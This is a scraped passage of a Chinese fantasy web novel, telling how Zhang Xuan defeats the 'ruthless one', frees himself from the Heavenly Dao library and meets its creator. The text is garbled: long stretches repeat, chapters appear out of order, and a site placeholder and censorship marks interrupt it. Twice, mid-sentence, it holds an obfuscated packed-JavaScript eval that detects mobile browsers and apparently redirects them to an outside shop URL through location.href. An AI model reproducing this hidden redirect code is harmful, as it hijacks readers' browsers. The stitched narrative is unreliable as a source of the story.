潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546022|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第50章女子若要有出息必得是天纵奇才? 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 